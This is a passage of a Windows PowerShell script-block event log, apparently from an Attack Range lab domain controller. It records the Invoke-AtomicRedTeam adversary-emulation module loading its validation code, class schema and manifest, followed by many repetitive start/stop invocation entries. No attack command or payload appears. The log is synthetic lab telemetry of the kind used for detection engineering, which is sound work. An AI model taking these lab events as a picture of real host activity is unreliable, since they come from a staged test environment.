Write-Error "$ErrorStringPrefix[Atomic test name: $($AtomicTestInstance.name)] 'atomic_tests[$i].dependencies[$j].get_prereq_command' element is required."
return
}
if (-not ($Dependency['get_prereq_command'] -is [String])) {
Write-Error "$ErrorStringPrefix[Atomic test name: $($AtomicTestInstance.name)] 'atomic_tests[$i].dependencies[$j].get_prereq_command' element must be a string."
return
}
$DependencyInstance.get_prereq_command = $Dependency['get_prereq_command']
$StringsWithPotentialInputArgs.Add($Dependency['get_prereq_command'])
$Dependencies[$j] = $DependencyInstance
$j++
}
$AtomicTestInstance.dependencies = $Dependencies
}
if ($AtomicTest.ContainsKey('dependency_executor_name')) {
if ($ValidExecutorTypes -notcontains $AtomicTest['dependency_executor_name']) {
Write-Error "$ErrorStringPrefix[Atomic test name: $($AtomicTestInstance.name)] 'atomic_tests[$i].dependency_executor_name': '$($AtomicTest['dependency_executor_name'])' must be one of the following: $($ValidExecutorTypes -join ', ')."
return
}
if ($null -eq $AtomicTestInstance.Dependencies) {
Write-Error "$ErrorStringPrefix[Atomic test name: $($AtomicTestInstance.name)] If 'atomic_tests[$i].dependency_executor_name' is defined, there must be at least one dependency defined."
}
$AtomicTestInstance.dependency_executor_name = $AtomicTest['dependency_executor_name']
}
$InputArguments = $null
# input_arguments is optional
if ($AtomicTest.ContainsKey('input_arguments')) {
if (-not ($AtomicTest['input_arguments'] -is [Hashtable])) {
$AtomicTest['input_arguments'].GetType().FullName
Write-Error "$ErrorStringPrefix[Atomic test name: $($AtomicTestInstance.name)] 'atomic_tests[$i].input_
ScriptBlock ID: 871882b4-86e5-4a1a-85c3-493facc5b9d9
Path: C:\AtomicRedTeam\invoke-atomicredteam\Public\Get-AtomicTechnique.ps1
06/15/2021 04:59:36 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467170
Keywords=None
Message=Completed invocation of ScriptBlock ID: 3f922c3b-b8fe-4beb-bc7c-2f38965e3f24
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 04:59:36 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467169
Keywords=None
Message=Started invocation of ScriptBlock ID: 3f922c3b-b8fe-4beb-bc7c-2f38965e3f24
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 04:59:36 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467168
Keywords=None
Message=Started invocation of ScriptBlock ID: 6d3e6677-f948-4e19-b867-151cde9a5a60
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 04:59:36 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4104
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Execute a Remote Command
OpCode=On create calls
RecordNumber=1467167
Keywords=None
Message=Creating Scriptblock text (1 of 1):
#requires -Version 5.0
#Get public and private function definition files.
$Public = @( Get-ChildItem -Path $PSScriptRoot\Public\*.ps1 -Recurse -ErrorAction SilentlyContinue )
$Private = @( Get-ChildItem -Path $PSScriptRoot\Private\*.ps1 -Recurse -Exclude "AtomicClassSchema.ps1" -ErrorAction SilentlyContinue )
# Make sure the Atomic Class Schema is available first (a workaround so PSv5.0 doesn't give errors)
. "$PSScriptRoot\Private\AtomicClassSchema.ps1"
#Dot source the files
Foreach ($import in @($Public + $Private)) {
Try {
. $import.fullname
}
Catch {
Write-Error -Message "Failed to import function $($import.fullname): $_"
}
}
ScriptBlock ID: 6d3e6677-f948-4e19-b867-151cde9a5a60
Path: C:\AtomicRedTeam\invoke-atomicredteam\Invoke-AtomicRedTeam.psm1
06/15/2021 04:59:36 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467166
Keywords=None
Message=Completed invocation of ScriptBlock ID: 3f922c3b-b8fe-4beb-bc7c-2f38965e3f24
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 04:59:36 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467165
Keywords=None
Message=Started invocation of ScriptBlock ID: 3f922c3b-b8fe-4beb-bc7c-2f38965e3f24
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 04:59:36 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4104
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Execute a Remote Command
OpCode=On create calls
RecordNumber=1467164
Keywords=None
Message=Creating Scriptblock text (1 of 1):
class AtomicDependency {
[String] $description
[String] $prereq_command
[String] $get_prereq_command
}
class AtomicInputArgument {
[String] $description
[String] $type
[String] $default
}
class AtomicExecutorBase {
[String] $name
[Bool] $elevation_required
# Implemented to facilitate improved PS object display
[String] ToString(){
return $this.Name
}
}
class AtomicExecutorDefault : AtomicExecutorBase {
[String] $command
[String] $cleanup_command
}
class AtomicExecutorManual : AtomicExecutorBase {
[String] $steps
[String] $cleanup_command
}
class AtomicTest {
[String] $name
[String] $auto_generated_guid
[String] $description
[String[]] $supported_platforms
# I wish this didn't have to be a hashtable but I don't
# want to change the schema and introduce a breaking change.
[Hashtable] $input_arguments
[String] $dependency_executor_name
[AtomicDependency[]] $dependencies
[AtomicExecutorBase] $executor
# Implemented to facilitate improved PS object display
[String] ToString(){
return $this.name
}
}
class AtomicTechnique {
[String[]] $attack_technique
[String] $display_name
[AtomicTest[]] $atomic_tests
}
ScriptBlock ID: 3f922c3b-b8fe-4beb-bc7c-2f38965e3f24
Path: C:\AtomicRedTeam\invoke-atomicredteam\Private\AtomicClassSchema.ps1
06/15/2021 04:59:36 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467163
Keywords=None
Message=Completed invocation of ScriptBlock ID: 7ee32596-bb40-4f58-afb6-1236c619b6fc
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 04:59:36 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467162
Keywords=None
Message=Started invocation of ScriptBlock ID: 7ee32596-bb40-4f58-afb6-1236c619b6fc
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 04:59:36 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4104
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Execute a Remote Command
OpCode=On create calls
RecordNumber=1467161
Keywords=None
Message=Creating Scriptblock text (1 of 1):
#
# Module manifest for module 'Invoke-AtomicRedTeam'
#
# Generated by: Josh Rickard
#
# Generated on: 09/13/2018
#
@{
# Script module or binary module file associated with this manifest.
RootModule = 'Invoke-AtomicRedTeam.psm1'
# Version number of this module.
ModuleVersion = '1.0.0.0'
# Supported PSEditions
# CompatiblePSEditions = @('Desktop')
# ID used to uniquely identify this module
GUID = '8f492621-18f8-432e-9532-b1d54d3e90bd'
# Author of this module
Author = 'Casey Smith @subTee, Josh Rickard @MS_dministrator'
# Company or vendor of this module
CompanyName = 'Red Canary'
# Copyright statement for this module
Copyright = '(c) 2018 Red Canary. All rights reserved.'
# Description of the functionality provided by this module
Description = 'A PowerShell module that runs Atomic Red Team tests from yaml definition files.'
# Minimum version of the Windows PowerShell engine required by this module
PowerShellVersion = '5.0'
# Name of the Windows PowerShell host required by this module
# PowerShellHostName = ''
# Minimum version of the Windows PowerShell host required by this module
# PowerShellHostVersion = ''
# Minimum version of Microsoft .NET Framework required by this module. This prerequisite is valid for the PowerShell Desktop edition only.
# DotNetFrameworkVersion = ''
# Minimum version of the common language runtime (CLR) required by this module. This prerequisite is valid for the PowerShell Desktop edition only.
# CLRVersion = ''
# Processor architecture (None, X86, Amd64) required by this module
# ProcessorArchitecture = ''
# Modules that must be imported into the global environment prior to importing this module
# RequiredModules = @()
# Assemblies that must be loaded prior to importing this module
# RequiredAssemblies = @()
# Script files (.ps1) that are run in the caller's environment prior to importing this module.
# AtomicClassSchema.ps1 needs to be present in the caller's scope in order for the built-in classes to surface properly.
ScriptsToProcess = @('Private\AtomicClassSchema.ps1')
# Type files (.ps1xml) to be loaded when importing this module
# TypesToProcess = @()
# Format files (.ps1xml) to be loaded when importing this module
# FormatsToProcess = @()
# Modules to import as nested modules of the module specified in RootModule/ModuleToProcess
# NestedModules = @()
# Functions to export from this module, for best performance, do not use wildcards and do not delete the entry, use an empty array if there are no functions to export.
FunctionsToExport = @(
'Invoke-AtomicTest',
'Get-AtomicTechnique',
'New-AtomicTechnique',
'New-AtomicTest',
'New-AtomicTestInputArgument',
'New-AtomicTestDependency',
'Start-AtomicGUI',
'Stop-AtomicGUI'
)
# Cmdlets to export from this module, for best performance, do not use wildcards and do not delete the entry, use an empty array if there are no cmdlets to export.
CmdletsToExport = @()
# Variables to export from this module
VariablesToExport = '*'
# Aliases to export from this module, for best performance, do not use wildcards and do not delete the entry, use an empty array if there are no aliases to export.
AliasesToExport = @()
# DSC resources to export from this module
# DscResourcesToExport = @()
# List of all modules packaged with this module
# ModuleList = @()
# List of all files packaged with this module
# FileList = @()
# Private data to pass to the module specified in RootModule/ModuleToProcess. This may also contain a PSData hashtable with additional module metadata used by PowerShell.
PrivateData = @{
PSData = @{
# Tags applied to this module. These help with module discovery in online galleries.
Tags = @('Red Canary', 'Atomic', 'Red Team', 'MITRE', 'ATT&CK', 'ART')
# A URL to the license for this module.
LicenseUri = 'https://github.com/redcanaryco/atomic-red-team/blob/master/LICENSE.txt'
# A URL to the main website for this project.
ProjectUri = 'https://github.com/redcanaryco/atomic-red-team'
# A URL to an icon representing this module.
# IconUri = ''
# ReleaseNotes of this module
#ReleaseNotes = ''
} # End of PSData hashtable
} # End of PrivateData hashtable
# HelpInfo URI of this module
# HelpInfoURI = ''
# Default prefix for commands exported from this module. Override the default prefix using Import-Module -Prefix.
# DefaultCommandPrefix = ''
}
ScriptBlock ID: 7ee32596-bb40-4f58-afb6-1236c619b6fc
Path: C:\AtomicRedTeam\invoke-atomicredteam\Invoke-AtomicRedTeam.psd1
06/15/2021 04:59:36 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467160
Keywords=None
Message=Completed invocation of ScriptBlock ID: 21ff2f47-7fd8-427b-b75b-f899cb75b195
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 04:59:36 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467159
Keywords=None
Message=Completed invocation of ScriptBlock ID: 7f59b431-a6d7-45b8-90d7-3ebfca7d3218
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 04:59:36 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467158
Keywords=None
Message=Started invocation of ScriptBlock ID: 7f59b431-a6d7-45b8-90d7-3ebfca7d3218
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 04:59:36 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467157
Keywords=None
Message=Completed invocation of ScriptBlock ID: 37050256-7150-4800-916d-0ff78e5de88b
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 04:59:36 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467156
Keywords=None
Message=Started invocation of ScriptBlock ID: 37050256-7150-4800-916d-0ff78e5de88b
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 04:59:36 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467155
Keywords=None
Message=Completed invocation of ScriptBlock ID: a7d8a0a4-d814-4517-8b25-70196418f9e5
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 04:59:36 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467154
Keywords=None
Message=Started invocation of ScriptBlock ID: a7d8a0a4-d814-4517-8b25-70196418f9e5
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 04:59:36 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467153
Keywords=None
Message=Completed invocation of ScriptBlock ID: 3bd07744-70bb-4f11-98d1-910925832092
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 04:59:36 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467152
Keywords=None
Message=Started invocation of ScriptBlock ID: 3bd07744-70bb-4f11-98d1-910925832092
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 04:59:36 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467151
Keywords=None
Message=Completed invocation of ScriptBlock ID: 5c814055-649a-4be4-8b8c-473adad2bb2f
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 04:59:36 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467150
Keywords=None
Message=Started invocation of ScriptBlock ID: 5c814055-649a-4be4-8b8c-473adad2bb2f
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 04:59:36 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467149
Keywords=None
Message=Completed invocation of ScriptBlock ID: 84cd98af-2c82-4e5a-9203-6398b3ef2099
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 04:59:36 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467148
Keywords=None
Message=Started invocation of ScriptBlock ID: 84cd98af-2c82-4e5a-9203-6398b3ef2099
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:03 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467312
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:03 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467311
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:03 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467310
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:03 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467309
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:03 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467308
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:03 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467307
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:03 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467306
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:03 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467305
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:03 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467304
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:03 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467303
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:03 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467302
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:03 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467301
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:03 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467300
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:03 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467299
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:03 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467298
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:03 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467297
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:03 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467296
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:03 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467295
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:03 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467294
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:03 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467293
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
